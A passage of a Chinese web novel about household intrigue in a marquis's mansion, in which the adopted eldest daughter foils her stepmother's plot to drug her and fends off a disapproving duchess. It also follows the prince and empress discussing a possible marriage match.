“没事,你去做药膳吧。我得快点好起来。”晏逐星笑着嘱咐她。
“嗯!小姐必须得快点好起来!”双鲤一蹦一跳地跑去了小厨房。
晏逐星闭目养神,将自己做过的事情一遍一遍在脑海里复查。
裴明镜手中肯定没有确凿的证据,不然他也不会曲线救国,从半棠那里下手,而是直接找上门来了。
想通了这一点,晏逐星决定以不变应万变。
夜里,天刚刚暗下来的时候,半棠终于回了玉澜院。
“怎么去了那么久?”晏逐星开口询问。
半棠颤着嗓子道:“夫人让奴婢描花样子,因而回来晚了。”
她答应了裴大人,继续留在小姐身边,看她下一步会做什么,因此压根不敢说实话。
“行了,那你退下吧。”晏逐星没有继续多问就让她离开了。
半棠有些惊讶,她刚刚还在担忧大小姐若是刨根问底怎么办。
不曾想,竟然就这样让她离开了。
她忐忑不安地回了自己住的厢房。
心里装着事,她一夜无眠。
早晨起来服侍晏逐星梳头都有些恍惚。
一整日,晏逐星都在屋子里养病,看书,日子过得和往常一样没有什么区别。
甚至还有闲心让人将她抬到院中看盛开的梅花。
半棠渐渐放下心来。
不曾想,有人却等不及了。
“裴明镜怎么还没行动?他到底怎么跟你说的?”温如霜面如寒霜,咬牙切齿地把半棠叫到了面前。
“裴大人只让奴婢继续伺候大小姐,别的什么都没说。”半棠慌张地在地
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上。
裴大人说了。
他们之间的谈话,绝对不能让第三个人知道,就连夫人这边也得瞒着。
“我不信,他把你叫出去,肯定是查到了什么!”温如霜将手里的药碗狠狠砸到了地上。
“他就是要包庇那个小**。”
身体的疼痛和报仇的决心冲昏了她的脑袋。
她等不及了。
凭什么她得拖着这副腐木般的身躯生不如死的活着,而晏逐星却还能去庭院当中赏花,看书。
她要让晏逐星和她一样,变成一个半死不活的废人。
温如霜大发雷霆,半棠不敢躲开,瑟缩着身子跪在地上。
“把东西给她。”
听到这话,半棠抬头,便看到了夫人的心腹李嬷嬷将一个小瓷瓶递到了面前。
随后就温如霜冷冷开口:“这药,你想办法让她服下。”
半棠脸色大变:“奴婢不敢。”
“不敢?”温如霜冷笑,“你的**契可还在我手里呢。你若不照办,我便将你嫁给周妈妈儿子。”
半棠打了个哆嗦,露出了绝望的表情。
周妈妈的儿子性格暴烈,若是嫁给他,一定会被活生生打死的。
她拿着药,恍惚地回了玉澜院。
双鲤瞧见她,好奇道:“半棠姐姐,你怎么了,脸色这么难看?”
半棠回过神来,露出了一个勉强的笑:“没什么,就是身子有些不舒服。”
“那你可得注意了。这大冷天的,病了可就遭罪了。”双鲤像是没有察觉到她的异常。
半棠紧紧捏着手中的药瓶,点了点头。
夜里,她翻来覆去地睡不着。
她不敢给大小姐下药,又害怕被夫人胡乱许人,裴大人那边她更是不知道该怎么交代。
三个人,她谁也得罪不起。
她该怎么办。
辗转反侧到了半夜,半棠终于下定了决心。
第30章 侯府大小姐到底给王爷灌了什么**汤
她起身拿了一根腰带和小木凳,恍恍惚惚地往院子里走去。
**,这一切就解脱了。
反正父亲的买药钱和兄长娶妻的钱都有了,她也可以安心地离开了。
半棠将带子抛到树干上,系了个死结。
她心如死灰,将脑袋套入其中,踢翻了木凳。
窒息的感觉传来,她拼命挣扎。
这时,她的身后忽然亮起了一盏灯笼。
衔蝉三步并作两步冲了过来,拔刀将她准备自缢的腰带给割断了。
半棠跌到地上,大口大口地喘着粗气。
提着灯笼的双鲤走了上前:“半棠姐姐,小姐要见你。”
她脸色瞬间变得比地上的雪还要白上三分。
双鲤叹了一口气:“你何苦寻死呢。什么事都没有活着更重要啊。”
“我……”她张了张嘴,想说什么,但最终一切都化作了苦笑。
看来,大小姐什么都知道。
她颓然起身,再无**的勇气,亦步亦趋地跟在双鲤身后,去见了晏逐星。
“说吧,为何想要自缢。”晏逐星淡淡开口。
半棠捂着脸,呜呜呜地哭了起来。
她一边哭一边把这几日的事情说了出来。
“大小姐,是我对不起您,没能遵守和您的约定,您就让我**吧。”
晏逐星默默听完了她的话。
她没想到温如霜竟然这么沉不住气,竟然现在就要弄死她了。
“将她带出去吧,我静一静。”
将半棠支出去后,晏逐星看向了衔蝉:“你可识得这是什么药?”
永安王给她送的这个丫鬟精通药理,这会儿正好派上用场了。
衔蝉接过药瓶开始检查,片刻后回答道:“小姐,这药并不致命,只是会让人腹泻。”
晏逐星露出了惊讶的表情。
她还以为温如霜要立刻就像要她的命呢。
但转念一想,她就明白了温如霜的用意。
这只是对半棠的一个试探。
温如霜虽然愤怒,但也彻底没有失心疯。
前脚才说她推她下马车,后脚她就毒发身亡的话,这简直就是给裴明镜送把柄。
她想让她出糗,然后再徐徐图之。
晏逐星将双鲤叫了过来:“昨日让你悄悄拿的药,你可拿到了?”
“拿到了小姐。”双鲤点头。
前段时间下人的厢房里闹了耗子,有丫鬟买了耗子药,晏逐星在得知半棠背叛她后,便让双鲤偷偷拿了一点耗子药。
打算等几日制造半棠误食耗子药后死掉的假象。
没想到,现在还能派上别的用场。
她将那些耗子药弄到了温如霜给的药瓶里。
随后让人把半棠又叫了进来。
“想活吗?我给你指一条活路。”
半棠摸了摸已经留下淤青的脖颈,重重点头。
死亡的感觉太可怕了。
她已经死过一次,不想再**。
……
“你说定远侯夫人让你把这个药下到晏大小姐的药膳里?”裴明镜握着手中的药瓶,若有所思。
“没错。”半棠点了点头。
昨夜,大小姐给她指了一条活路,让她来找裴大人。
裴大人虽然铁面无私,但也从不迁怒无辜之人。
她被他逼盯着大小姐,替他办事,如今出了这么大的事,自然该让裴大人替她兜底。
“是晏逐星让你来的吧。”裴明镜忽然笑了起来。
“是。”半棠再一次点头。
大小姐说她不会撒谎,那就说实话。
只是可以选择性地说。
夫人让她下药,大小姐发现让她来找裴大人的事情可以说,但药瓶单独给过她一事,可以不说。
虚虚实实真真假假,反倒让人猜不出真相。
她将系在脖子上的围脖摘下,指着脖子上的勒痕,红着眼睛道:“奴婢真的不知道该怎么办了,我不想害人,又害怕夫人将我嫁给那无耻之徒,便想着一**之。结果被大小姐发现了。”
“她说……”
裴明镜将药瓶交给下属让他拿去验证,听到这话,下意识地接话:“她还说了什么?”
“她说裴大人不相信她,她就不报官了。她也不知道该怎么办。她自身难保,护不住我,让我来找您。她还说裴大人足智多谋,一定有办法救我。”半棠将晏逐星的话一字不落地复述出来。
说完,她跪到了地上:“大人,求您救救奴婢吧。奴婢愿意给您当牛做马一辈子报答您。”
裴明镜眉心拧了拧。
可真是个小狐狸,竟然将这烫手山芋抛到了他手里。
他没说话。
片刻后,下属验完药告知他结果。
“**?”裴明镜眸色微冷。
这对母女还真是想方设法将对方置于死地啊。
跪在地上的半棠抽泣着:“大人,求您救救我吧。”
裴明镜低头看向她,开口道:“我跟你走一趟。”
他打算再和晏逐星谈谈。
那个黄衫女子依旧下落不明,若是能从她口中撬出那女子的身份就好了。
裴明镜再一次去了定远侯府。
按照礼数,他先去见定远侯。
没想到,刚踏进会客厅,就听到一阵哭嚎。
“侯爷,您救救大小姐吧。”双鲤哇哇大哭。
“有人买通了丫鬟给大小姐下**,若不是发现衔蝉姐姐知晓药理,大小姐就要被毒**。”
瞧见裴明镜后,她扑到了裴明镜脚边,抓着他的裤腿哭得更大声了。
“大人,您可算来了。人证物证都已经交给您了,您可得替我家小姐做主啊。”
定远侯脸色铁青。
侯府三番几次发生这样的事情,还总让裴明镜撞到,皇上肯定又要训斥他持家不严了。
他一方面在心底暗恨下药的人不懂事,这等风口浪尖竟然还敢对晏逐星下手。
一方面又恼怒晏逐星不识好歹,腿都断了竟然还那么能作妖。
“裴大人,小小家务事,您何必跑这一趟。”他挤出笑容看向裴明镜。
“父亲,这怎么能是家务事呢,这可是性命攸关的大事。”后边坐在步舆上晏逐星轻声开口。
“虽然我不是亲生的,但毕竟喊了您那么多年父亲,您总不能眼睁睁看着我被人害死吧。”
定远侯被她气
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得火冒三丈。
还没等他开口训斥晏逐星闭嘴,她就看向了裴明镜。
一行清泪顺着眼角滑落。
“裴大人,院子里那些人我是谁都不敢信了,我只信您。”
定远侯气急败坏道:“行了,你若信不过那些人,便自己挑一批人伺候你行了吧。别什么小事都麻烦裴大人。”
裴明镜看着她的泪一怔,而后反应过来。
他被晏逐星给算计了。
她要的就是将整个院子里定远侯夫人的眼线全都拔除吧。
好一个只信他。
裴明镜指了指地上的双鲤:“本官自是不会辜负大小姐的信任。这个丫鬟,本官很是喜欢,不如大小姐割爱?”
双鲤吓了一跳,她可不想跟裴大人走。
“那不行。”晏逐星果断拒绝。
“不是说院子里那些人都不敢信?”裴明镜挑眉。
“嗯,是那些人不可信。但双鲤不一样,双鲤是我的救命恩人。”晏逐星一脸诚恳。
“而且永安王送来的衔蝉姑娘,很喜欢双鲤,将双鲤当作亲妹妹一般对待。若是将他们二人分开,未免有违仁厚。”
裴明镜面无表情地盯着她。
这是拿永安王来压他?
晏逐星顶着他的死亡凝视继续道:“裴大人若缺丫鬟,我看半棠就不错,人机灵,又乖巧听话。不如您将她带走吧?”
半棠抓住时机跪在了地上:“能伺候大人,是奴婢三生修来的福气。”
“是啊,大人您若喜欢府上哪个丫鬟,只管开口。”定远侯跟着附和。
他只想快点把裴明镜送走。
裴明镜盯着晏逐星,弯腰凑到她耳边,冷冷一笑:“大小姐真是好手段。”
晏逐星像是听不出他的讽刺,乖巧地看着他:“大人的救命之恩,小女子来世结草衔环一定会报。”
裴明镜彻底被气笑了。
合着这辈子就不愿报恩,用虚无缥缈的下辈子来许诺他呗。
裴明镜歇了询问晏逐星的心思,他知道他不可能从她嘴里挖出任何有用的东西了。
他看向定远侯:“劳烦侯爷将这丫鬟的身契送到国公府二房,人,我带走了。”
这丫鬟先前确实是在为他做事,他也不可能眼睁睁看着她**。
“好说好说。”定远侯当即答应了下来。
只要别继续盯着他的后院,区区一个丫鬟,给了就给了。
“父亲,劳烦将双鲤的身契也给我吧。”晏逐星趁机提出了要求。
定远侯只想快点息事宁人,胡乱地点头答应了下来。
……
定远侯府的事情再一次被传回了永安王府。
停云忍不住嘀咕:“这侯府大小姐的心机未免也太重了些,竟然还利用您的名头吓唬裴大人。”
谢翊宁冷哼一声:“生在那等虎狼窝里,她不多长几个心眼,岂不是早就没命了。若她能和我一样,受尽万千宠爱长大,哪里还需要这样小心翼翼地算计别人活命。”
停云:……
定远侯府大小姐到底给他家王爷灌了什么**汤。
怎么她做什么王爷都能给她找到合理的借口?
第31章 要不要给你们赐婚
两人闲谈之际,管家忽然敲门通禀。
“王爷,皇后娘娘请您入宫一趟。说是有要事相商。”
谢翊宁听到这话,急匆匆地赶到了未央宫。
“母后,出什么事了?”
“这大冬天的,怎么还出汗了,快擦擦,可别着凉了。”皇后瞧见他额头的汗,心疼地掏出帕子想要替他擦掉。
“我这不是着急么。”谢翊宁接过帕子,自己擦掉了汗珠。
“你这孩子,急什么。母后寻你来是想问问你对那定远侯府大小姐,到底是什么想法?可要我去找你父皇给你们赐婚?”皇后笑眯眯地看着他。
谢翊宁一阵无语。
所谓要事相商,就这事?
他认真又无奈地开口:“母后,我说过了,没度过那一劫之前,我不会考虑成婚生子的。我不能那么自私,自己**留下人家孤儿寡母过日子。”
“呸呸呸,我儿一定长命百岁。”皇后轻轻拍了拍他的手背,不许他说下去,但是自己的眼眶却红了。
国师的预言,从未出过错。
她可怜的孩儿,怎么就摊上了这样的命运。
“就算是孤儿寡母,我和你父皇,还有你太子哥哥,都会照顾他们的,让他们一辈子锦衣玉食。你有什么可不放心的。”她不遗余力地劝说了起来。
万一真活不过二十岁,至少得留一个后啊。
谢翊宁看着她,叹了一口气,但依旧没有改口:“母后,我真的无心成婚。”
皇后没想到小儿子这么犟,有些无奈:“那你对定远侯府大小姐那般好,是为了什么?这么多年,母后可从未见过你对哪家千金这么上心。”
谢翊宁一阵语塞。
他无缘无故对晏逐星那么好,没有一个合理的说法,母后肯定也不相信。
思来想去,他决定把重生的事情,换一个说法告知母后。
他斟酌片刻后,开口道:“母后,前不久我做了一个梦,梦到我死在了战场上……”
“不许说这样不吉利的话!”皇后急急忙忙打断他。
自打国师预言后,她便听不得这些死不死的话。
“母后,你先听我说完。”谢翊宁柔声安慰她。
“梦里正是定远侯府大小姐救了我,避免了我被万箭穿心,死无全尸的下场。醒来后,我让停云去打听她,发现她过得不好,很是可怜。所以才会屡次出手帮助。毕竟她也算我的救命恩人。”
皇后听到这么离奇的事情忍不住皱起了眉头:“就因为一个梦?”
谢翊宁振振有词:“梦怎么了。在那之前,我都没见过定远侯府那位大小姐。那我为什么不梦到别人,独独梦到她救了我。说不定上辈子还真发生过那样的事情。”
“你说得也有点道理。”皇后被他说服了。
怕她继续乱来,谢翊宁再次强调:“所以呀,母后您千万别乱点鸳鸯谱了。我若是遇到了心仪的姑娘,一定会请您和父皇赐婚的。”
“好吧。”见他这么坚决,皇后只能点头答应了下来。
送走他后,皇后还是觉得不对劲。
夜里,文昭帝谢如璋来到未央宫,瞧见她一脸严肃,还以为发生了什么大事。
他上前一步将皇后拥在怀中,笑道:“可是今日小石头入宫惹你生气?”
“那倒不是。”皇后摇了摇头。
“我是在琢磨他和定远侯府那个小姑娘的事。”
“哦?他和人家姑娘怎么了?”文昭帝有些好奇。
他和皇后是青梅竹马。
少年夫妻老来伴,一直恩爱有加。
两人直到这个岁数,还有说不完的话。
所有的孩子里,他最喜欢的就是皇后生的两个儿子。
因此对他们都很关注。
谢翊宁屡次给晏逐星撑腰的事情,他早有耳闻。
皇后说起这个就滔滔不绝:“他说他并非心悦人家,可你看他做的那些事情,桩桩件件,明里暗里都在维护人家。我觉得啊,他肯定是心悦那个姑娘。”
“不会吧。这小子从小就厚脸皮,想要什么都是直说,什么时候跟咱们客气过。”文昭帝脱口而出。
皇后被他这话逗笑了,嗔怪地看了他一眼,而后又说起了谢翊宁说的梦。
“他为什么不梦到别人,独独梦到定远侯府大小姐。分明是日有所思夜有所梦。他肯定是爱惨了那个姑娘,只是碍于自己活不到二十的命运,不敢说出口罢了。”
说到最后,皇后心里酸酸的。
她这么一说,文昭帝觉得好像有那么一点道理。
皇后越想越觉得是这么一回事,一把抓住了皇上的手
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,神情飞扬。
“不行不行,儿子不争气,咱们可不能干等着。不然猴年马月才能有儿媳妇。明日我就派人去慰问那个姑娘,让人在她面前多说说石头的好话。你说,之后等她主动了,石头是不是就不会拒绝了?”
“小姑娘主动咱们儿子会不会拒绝,朕不知道,但皇后主动,朕肯定不会拒绝。”文昭帝笑眯眯地牵起皇后的手,亲了一口。
皇后的脸上霎时飞上红云,她抽回了手:“我才没有……”
“好。是朕主动,还请皇后不要拒绝。”他将皇后拦腰抱起,垂头咬住她的耳垂。
惊呼声起。
宫人们羞红了脸,默默退出了寝宫。
……
定远侯府里。
定远侯正和夫人爆发了激烈地争执。
“我都说了,让你先不要去招惹那丫头,你为什么非不听!!!”
“她害我落得这般惨状,我不过是给她下点泻药罢了,这也不行吗?”温如霜愤怒反驳。
“头发长见识短,你何必逞一时之气。招惹了裴明镜,这辈子都别想安生了。”定远侯吼的声音比她还大。
他这个侯爷的头衔,是祖父靠军功挣来的。
到了他父亲那一辈,只上过几回战场。
然而到了他,他一回战场也没去过,他心虚得很。
若是不停地被参,皇上保不准就不许这爵位继续传下去了。
到时候,他还有什么颜面面对列祖列宗。
他不耐烦道:“别说废话,把那丫头要的**契给我。”
温如霜不情不愿地让人把**契交了出来。
定远侯拿到**契摔门而去。
温如霜被这一幕气得尖叫出声。
“啊——!”
光是叫还不解气,她抓起绣枕狠狠砸在地上,这还不够,她把身边能够到的东西全砸了。
晏明月来到她屋子,看到这一幕,心里有些烦躁,但还是耐下性子安慰她:“娘亲,您别生气了。为了姐姐气坏身子,可不值当。”
“你懂什么。裴明镜就算了,那个贱丫头害了我,还要骑在我头上,真是反了她了。”温如霜气得直掉眼泪。
晏明月听到这话,先跟着她附和着辱骂了晏逐星几句,随后道:“我有一个办法,或许能让娘亲出气。”
第32章 这般寡廉鲜耻的做派,倒真是让她开了眼界
“什么法子?”温如霜猛地抬头看向她。
晏明月吞吞吐吐道:“姐姐倚仗的不过是裴大人罢了。若是裴大人的母亲知道这事……”
她没说完,温如霜就反应过来了。
裴明镜的母亲卫国公夫人窦淑容是出了名的严苛。
按照裴明镜家世、相貌和才学,婚事本应早早定下。
就是因为窦淑容挑剔,要求儿媳家世要三代清贵,容貌要堪比洛神,琴棋书画还得样样精通,以至于裴明镜二十一了仍未娶妻。
他们只需稍加透露裴明镜对晏逐星的特别关注,窦淑容必定会出手对付晏逐星。
她这般看重自己的儿子,绝无可能接受身份不明的女子成为裴家儿媳。
“去,让人送**契到国公府的时候,将此事透露给窦夫人。”温如霜当即命李氏去办此事。
……
夜里,裴明镜回到家中,忽然被母亲叫到了跟前。
“母亲寻我何事?”他有些疑惑。
“你可有心仪的姑娘了?”窦淑容轻拍身侧座椅示意儿子落座。
裴明镜摇头:“没有。”
窦淑容不动声色地试探:“你都二十一了。你堂弟比你还小两岁,如今孩子已经会喊爹娘。你也是时候成家了。若当真遇见可心人,大可告诉母亲,母亲自会请人上门替你提亲。”
裴明镜对她话里有话的试探感到十分厌烦。
白日里京兆府勘验案件已耗去他十成精力,他不想回到家中还和家里人玩这种猜来猜去的戏码。
裴明镜揉了揉疲惫的眉心,开口道:“您想问什么直接问就是了,何必搞这些后宅里的弯弯绕绕。”
窦淑容没想到儿子会落她的面子,有些不悦。
她放下手中的茶盏,沉声道:“那你说说,你与那位定远侯府大小姐是怎么一回事?你屡次替她周旋,连贴身侍婢都讨来给你堂妹。这传出去,像什么话。”
她顿了顿,表情变得严肃起来,话音也陡转凌厉。
“若你看上的是她,那就趁早歇了心思。我是绝对不会同意这样的女子嫁入裴家的。”
裴明镜没想到母亲会扯到晏逐星身上。
他抿唇道:“母亲慎言。我与晏大小姐清清白白,只不过因为查案有了些许交集。这样的话若是传出去,岂不是坏了人家名声。”
“我看坏了你的名声才是,她的名声值几个钱。”窦淑容愤愤不平。
出去打听一圈,就没人说晏逐星好话的。
一个来路不明的野种,被领回家了还不知感恩,为了攀高枝还给傻子下药。
这般寡廉鲜耻的做派,倒真是让她开了眼界。
裴明镜眉头拧得更紧了,他不想继续这个话题。
接触几次下来,他已经清楚晏逐星是什么样的人。
她睚眦必报,诡计多端,对仇人狠,对自己也狠,若是招惹了她,她一定会不惜一切代价报仇。
想到这,他提醒道:“母亲,我与她断无可能,你莫要招惹她。”
窦淑容手帕绞得死紧,眼前阵阵发黑,差点没气晕过去。
儿子还是头一回这样维护一个姑娘。
说什么断无可能,分明就是怕她去找那个丫头的麻烦。
她深吸一口气,知道这个阶段不能跟儿子硬起冲突,否则母子离心。
她挤出一抹勉强的笑:“好。都听你的。”
翌日清晨。
窦淑容将裴芜叫来。
“听闻你与定远侯府那位晏大姑娘有些许交情?”
“算是吧。”裴芜摸不准大伯母是什么意思,回答得很含糊。
上回大堂兄让她不许多和晏逐星来往,她便没敢邀请晏逐星上门做客。
听说她坠马伤了腿,也只敢偷偷让人给她送了一些去疤痕的药。
窦淑容慢条斯理地开口:“听说她病了,你怎么不去看看?”
裴芜听出她话外的意思
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,试探性道:“那我这就给定远侯府递帖子?”
“嗯,递吧。晚些时候我同你一块去定远侯府。”窦淑容点了点头。
她是看不上定远侯一家子的,也不想跟他们有过多的交集。
但如果只是小姑娘间的来往,就显得没有那么刻意了。
没过多久,定远侯府就回了帖子,欢迎裴芜登门做客。
窦淑容便跟着裴芜一块去了侯府。
按照礼数,他们得先去拜访当家主母。
但温如霜如今瘫痪在床,并不想让旁人看到她的糗样,因此直接让人把他们带去了玉澜院见晏逐星。
“逐星,你这腿怎么样了?”裴芜看到腿包得严严实实的晏逐星,眼里流露出担忧。
“太医说好好养几个月就好了。”晏逐星浅浅一笑。
她没想到还会和裴芜有交集。
更没想到,裴明镜的母亲会亲自登门造访。
她提起了十二万分的精神。
她不确定,裴明镜母亲此行的目的是什么。
万一是来替裴明镜套话的,她可不能上当了。
裴芜和晏逐星寒暄了起来,一旁的窦淑容一直在默默观察。
片刻后,她忽然开口:“晏家丫头,我瞧着你这院子里的梅花开得正好,我讨几枝回去插瓶,你不会不舍得吧?”
“国公夫人喜欢,只管命人摘取便是。”晏逐星含笑点头应下。
“阿芜,你替我去摘吧。”窦淑容看向了侄女。
裴芜一愣,明白大伯母是故意将她支走。
她有些担忧地看了一眼晏逐星,她这大伯母可不是一个好相与的。
但她人微言轻,整个裴家都要看着大房的脸色行事,因而没敢说不,点头领着丫鬟去了院子里摘梅花。
屋子里便只剩下了窦淑容和晏逐星,以及他们的心腹丫鬟。
两人对视一眼。
窦淑容脸上的笑意退去,冷冷地看着晏逐星。
第33章 当场就被打脸
晏逐星察觉到了她眼底的厌恶,但她也懒得去戳穿。
讨厌她的人多了去了,卫国公夫人还排不上号。
她不开口,晏逐星也不说话。
窦淑容微微蹙眉,这个小丫头倒是挺沉得住气。
寻常和她一般年纪的小姑娘,被她盯着通常没一会儿就要自乱阵脚了。
晏逐星竟然还挺淡定的。
最后还是窦淑容沉不住气,先开口了:“我今日来,只为和你说一句话。”
晏逐星懒懒地掀开眼皮:“国公夫人请讲。”
窦淑容绷着脸甩出一句:“你不要妄想使那些狐媚子手段勾引我儿,我是绝对不会同意你嫁到国公府的。”
晏逐星:?
这位卫国公夫人在说什么。
勾引裴明镜?
她嫌自己命太长吗。
和那样一个心眼子多的人待在一起,她都紧张得不敢大喘气。
亏她还提心吊胆担心她是来替裴明镜套话的,现在看来是担心过头了。
不等她开口,一旁的衔蝉便开口了。
“国公夫人慎言,我家小姐与裴大人清清白白。”
“主子说话,轮得到你一个下人多嘴么。”窦淑容面罩寒霜,脸色如乌云压境般阴沉。
“果然什么样的主子就会有什么样的丫鬟。没规矩,没教养。”
晏逐星微微一笑:“诶,国公夫人,这是永安王暂时借给我的丫鬟。你是觉得永安王没规矩又没教养么。”
窦淑容面上流露出一丝错愕。
什么,永安王?
怎么可能。
她不相信晏逐星和永安王有什么关系,她喉间滚过一声冷哼方才开口:“你可知胡乱攀扯永安王是什么罪名。”
衔蝉默默将王府的玉牌拿了出来,语气平静地开口:“奴婢在永安王府已经呆了快十年,最近才奉王爷的命令过来伺候大小姐的。大小姐所言,句句属实。”
当场就被打脸,窦淑容的表情变得十分难看。
她猛地站起身:“总之,我不管你和永安王有什么关系,但你休想嫁给我儿子。你这样来路不明的野种,给他做妾也不配。”
晏逐星忍她很久了。
她嗤笑一声:“您实在是多虑了。不仅我不想嫁去你们国公府,这满京城里但凡心疼闺女的人家,谁舍得把掌上明珠往火坑里推。”
窦淑容被她这话气得差点没背过气去。
她竟敢说他们国公府是火坑?
不等她开口,晏逐星竹筒倒豆子般抢道:“您当真不明白裴大人为何至今未娶?”
她眼尾一挑,露出几分讥诮的笑。
“满京城里谁不知道你挑儿媳妇眼高于顶。就算是天上下凡的仙女给你当儿媳妇,你也能挑出各种毛病来。依我看啊,就该把裴大人变成一块传家宝,让您日日捧在掌心里疼着。你们母子俩过一辈子得了,要什么儿媳妇啊。”
“你——”这下窦淑容是真的要气疯了,脸一阵青一阵红。
她儿子这般芝兰玉树,难道不该千挑万选好选一个配得上他的姑娘么。
怎料落到这个野丫头口中,她竟成了个攥着儿子不撒手的腌臜婆母。
双鲤乖巧地给自家小姐倒了一杯热茶。
晏逐星慢条斯理地喝下。
窦淑容看她这副云淡风轻的模样,气得身子都哆嗦了起来。
听到里间似乎起了冲突,摘梅花的裴芜站不住了,匆匆赶了回来。
“大伯母,梅花摘好了,咱们是不是该回府了。”
窦淑容当着侄女的面,不想失态,她强行压下了自己的情绪,冷冷道:“好一个牙尖嘴利的野丫头。我这就问问定远侯夫人去,究竟是怎么养出了你这么一个目无尊卑,顶撞长辈的混账玩意。”
瞧见裴芜进来,晏逐星整个人抖得像风里残烛,泪珠子成串往下砸。
“夫人明鉴,我若有半分攀附国公府的心思,现下就撞死在您面前。求您了,不要去找母亲。要是让母亲误会我勾引了裴大人,我就真的活不下去了。”
话音刚落,她往前倾了倾身子,一口猩红“哇”地喷在绣被上。
“小姐,您怎么吐血了!”双鲤惊叫了起来。
整个玉澜院霎时乱成了一团。
窦淑容目瞪口呆。
先前还伶牙俐齿反驳她,现在瞧见裴芜就卖惨吐血,这野丫头果真心机叵测,手段了得。
“快去请大夫。”裴芜匆忙催促自己的丫鬟。
晏逐星听到这话,忙捏了一下双鲤的手心。
双鲤会意,忙上前阻拦:“裴二小姐,您和夫人先回吧。大夫我已经命人去请了。你们留在这,我怕小姐醒了更难过。”
“你这话什么意思?”窦淑容柳眉倒竖。
“大伯母,这么乱,咱们先回吧。”裴芜怕闹得更厉害,赶忙催促。
她这个大伯母,一直管堂兄管得很紧,任何接近堂兄的姑
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娘祖宗十八代都会被查清楚。
唉,她早该想到的。
堂兄几次三番和晏逐星有来往,大伯母肯定误会了什么。
大伯母瞧不上定远侯府,今日前来,定然是为了羞辱晏逐星,让她不要痴心妄想。
可她也能看出来,堂兄和晏逐星两人对彼此根本没有情意啊。
早知道,她就不和大伯母一块来探望晏逐星了。
“她肯定装的。”窦淑容有苦说不出。
“嗯,但咱们也该走了。”裴芜顺着她的话点点头。
她不想让大伯母继续留下来,省得刺激晏逐星。
摔断了腿已经够可怜了,现在还要被她大伯母羞辱。
“你好好照顾你家小姐,空了我再来看她。”裴芜有些羞愧地开口。。
见她对晏逐星的丫鬟这么客气,窦淑容气得拂袖离去,临行前,特意让人去和温如霜说了此事。
还放下了一句狠话。
“从今往后,有我的地方不许她出现。否则就是与卫国公府为敌。”
温如霜将这话告诉了定远侯。
定远侯一惊:“她怎么得罪卫国公夫人了?”
“不知道。但能让卫国公夫人说出这样的话,显然是得罪狠了,再无转圜的余地。”温如霜面露担忧,但实际上心里都乐开花了。
“侯爷,要不还是尽早将那野丫头赶出去吧。”
她想明白了。
让晏逐星留在侯府反倒不好动手。
将她撵出去,她一个孤女独身在外,出点什么意外很正常。
定远侯眉头皱得紧紧的。
他有些纠结。
虽然不知道什么原因,但皇后和永安王似乎对晏逐星另眼相待。
就这样把人赶出去,会不会太草率?
见他眉头紧锁,温如霜又道:“如今她名声都坏了,被她带累得我们母女都接不到别家的宴会帖子。皇后娘娘也不提让她入宫教导十公主了,恐怕也已经在心里厌恶她了。”
定远侯一凛,觉得她说得很有道理。
他点点头:“好,那便依夫人所言,将她送出府去吧。给个二百两银子,就当全了这些年的养育之情。也省得落人话病,说咱们无情无义。”
温如霜达成目的,笑意盈盈道:“侯爷想得甚是周全。”
就在他们正准备下令让晏逐星搬出侯府时,管家急匆匆来报:“烈国公夫人领着世子爷上门,说是来探望大小姐。”
第34章 感觉皇后娘娘像是在撮合晏逐星和永安王
“什么?”定远侯和温如霜同时惊呼出声。
温如霜这才想起了那日烈国公说的认亲一事。
从马车掉落后,她就把这事给忘了。
她还以为烈国公只是随口说说,如今烈国公夫人登门,难不成他们是真心实意想认晏逐星为义女的?
“烈国公夫人怎么会带着世子爷登门?”定远侯十分不解。
温如霜张了张嘴,又把实话咽回了肚子里。
若是侯爷知道晏逐星要成为烈国公夫妇的义女,恐怕不会将她赶出去了。
“难不成是上门要说法的?”定远侯越想越偏。
“上回你去了国公府,他们怎么说的?”
他看向了温如霜。
温如霜支支吾吾,不知道该怎么圆话。
这时,一个丫鬟提着裙裾碎步冲了进来。
“侯爷,皇后娘娘跟前的吴嬷嬷又来了,说是给咱们大小姐探病问安。”她声音打着颤,“这会儿带来的赏赐正往玉澜院抬呢。”
“什么?”定远侯和温如霜再一次异口同声地惊呼。
皇后不是应该厌恶了晏逐星么,怎么又送来了赏赐。
“将星儿送走一事之后再议,你如今卧病在床,就不要操心这些琐事了。”定远侯果断做出了决定,转身离去。
温如霜喉头猛地窜上腥甜。
就差一点!
差一点晏逐星就要被赶出去了。
烈国公夫人和皇后的人就不能晚一天再来吗。
……
烈国公夫人领着儿子来了玉澜院,听说晏逐星刚刚吐了血,吓了一跳。
“妹妹,呜呜呜,妹妹难受。”尉迟敦扯着母亲的手,眼里蓄满了眼泪。
他看到病恹恹的晏逐星,一下就哭了。
“不要妹妹变星星,妹妹不要走。”
烈国公夫人知道他这是想起了亲妹妹,一瞬间也红了眼眶。
“哥哥别哭,我没事。”她赶忙安慰尉迟敦。
“没错,妹妹好着呢。”烈国公夫人也跟着附和。
两人轮流哄了一下尉迟敦,唤来双鲤带他去小厨房吃刚蒸出来的糕点,这才让他止住了哭啼。
烈国公夫人握住了晏逐星的手,轻轻拍了拍:“好孩子,你受了什么委屈,只管告诉我。虽然还没有举行认亲宴,但在我心里,你就是我的亲女儿了。”
晏逐星有些愧疚。
她没什么事,只是演戏罢了。
先前趁双鲤给她递茶的间隙,她悄然将早备好的鸡血药囊咽下,随即佯装被气得吐血,这才将那讨人厌的卫国公夫人赶走。
“我没什么事,夫人不必担心。”晏逐星摇了摇头。
看着她这乖巧懂事的模样,烈国公夫人心软得一塌糊涂。
她想到了晞儿。
那孩子也是这样,什么都说没关系,喝药也说不苦,有时候被傻哥哥推倒也不哭不告状。
她们越是这样,就越让人心疼。
两人还没说上几句话,就听到丫鬟跑进来通传。
“大小姐,吴嬷嬷来了。”
晏逐星有些惊讶,皇后面前的心腹嬷嬷怎么来了?
她掀开被子,打算起身,就被急匆匆进来的吴嬷嬷按住了肩。
“姑娘不必拘礼。皇后娘娘听闻姑娘受伤,特命我送了这玉肌膏前来。伤筋动骨最忌挪动,这百日内姑娘就在府里静养,宫里就暂且别去了。”
随后,她俯身替晏逐星掖了掖被角。
“待姑娘伤好后,老奴再来接您入宫。”
“怎敢劳娘娘这般记挂。”晏逐星轻咳几声,命人接过了玉肌膏,又虚空冲皇宫的方向行了一礼。
“多谢娘娘赏赐,辛苦嬷嬷跑这一趟了。”
吴嬷嬷眼角笑纹深了几分,显然对她很满意。
